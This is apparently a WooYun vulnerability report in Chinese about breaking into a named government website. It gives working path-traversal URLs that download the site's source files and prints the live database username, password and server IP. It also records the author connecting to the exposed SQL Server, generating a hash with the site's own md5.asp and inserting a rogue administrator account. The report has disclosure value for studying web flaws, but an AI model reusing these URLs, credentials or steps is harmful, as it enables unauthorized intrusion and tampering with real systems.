WooYun.org

本次渗透纯属实验性质，并无恶意。也未破坏任何数据。
下载点：
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../download.asp
通过分析download.asp,发现这个下载点有过滤行为
===============================================================
if filename="" and instr(filename,"upload")=0 then
response.write "<script language='javascript'>alert('下载文件时参数有误,请确认!');histoty.go(-1);</script>"
response.end
end if
===============================================================
发现只要存在upload都算合法。。。
网站的后台登陆页面在http://www.dx315.gov.cn/admin/admin_login.asp。提交用户名密码后，要通过http://www.dx315.gov.cn/admin/admin_chk.asp进行验证
我们通过
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../admin/admin_chk.asp
将admin_chk.asp下载下来。经过分析，发现有简单的防SQL注入的检测：
===============================================================
user_name=replace(trim(Request.form("admin_user")),"'","")
user_pwd=replace(trim(Request.form("admin_pwd")),"'","")
user_veri=replace(trim(Request.form("v")),"'","")
===============================================================
不知道这样简单的过滤是否可以完全防止住SQL注入，我们有深究，望高人指点:-) 另外，根据后面的代码分析，发现还有一个专门防SQL注入的代码Check_SI.asp，可是，里面针对post提交数据的检测竟然被注释掉了，汗。
SQL注入不搞了，我们换个思路，看这一句：
<!--#include file="../Public/ASP/conn.asp" -->
通过下载
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../Public/ASP/conn.asp
代码如下：
===============================================================
<!--#include file="Check_SI.asp"-->
<%
On Error Resume Next
Dim ConnStr
Dim Sqldatabasename,Sqlpassword,Sqlusername,Sqllocalname
Sqldatabasename = "hsgs"
Sqlusername = "website"
Sqlpassword = "nbdxgswebsite"
Sqllocalname = "127.0.0.1"
Connstr = "Provider = Sqloledb; User Id =" & Sqlusername & "; Password =" & Sqlpassword & "; Initial Catalog = " & Sqldatabasename & "; Data Source = " & Sqllocalname & ";"
Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr
If Err Then
Set Conn = Nothing
Response.Write "数据库连接出错，请检查连接字串。"
Response.End
End If
%>
==================================================================
好吧，数据库的用户名是 "website"， 密码是 "nbdxgswebsite" 而且数据库就在本机，没有做库站分离 (Sqllocalname = "127.0.0.1")
用nmap扫描www.dx315.gov.cn(ip是112.15.185.43），结果如下图：

好吧，开了那么多端口，还包括21，135,139等。没有一个一个去试验。不知道是否存在ftp和rpc的弱口令或139RPC缓冲区溢出漏洞.这么多口子，难道这台机器已经被人做成肉鸡了...
不管其他的，我们的重点在1433/tcp open ms-sql-s 好吧，远程sql server访问。链上去打开hsgs.dbo.UserInfo表，如下图 （注：最后一行adminroot是我添加的，后面会描述）

到这里基本上大功告成了，所有的数据库都在我们的控制之中了。不过管理员的密码是md5散列过的,试了几个md5字典网站（比如http://www.md5decrypter.co.uk/），发现破解不出. 估计他们的算法不是标准的md5或者是在计算的时候加入了固定的随机数 （这个方法值得推荐，加入随机数进行散列，让字典攻击成为不可能）
不过这个难不倒我们，直接下载
http://www.dx315.gov.cn/download.asp?v=upload/doc/../../Public/ASP/md5.asp
然后在自己的iis上跑 Response.Write(md5(11111111)) 我们得到 60827015e5d605ed
好吧，我们插入UID=adminroot PWD=60827015e5d605ed 到 hsgs.dbo.UserInfo表中，然后用adminroot+11111111登录http://www.dx315.gov.cn/admin/admin_login.asp，成功进入后台，如下图：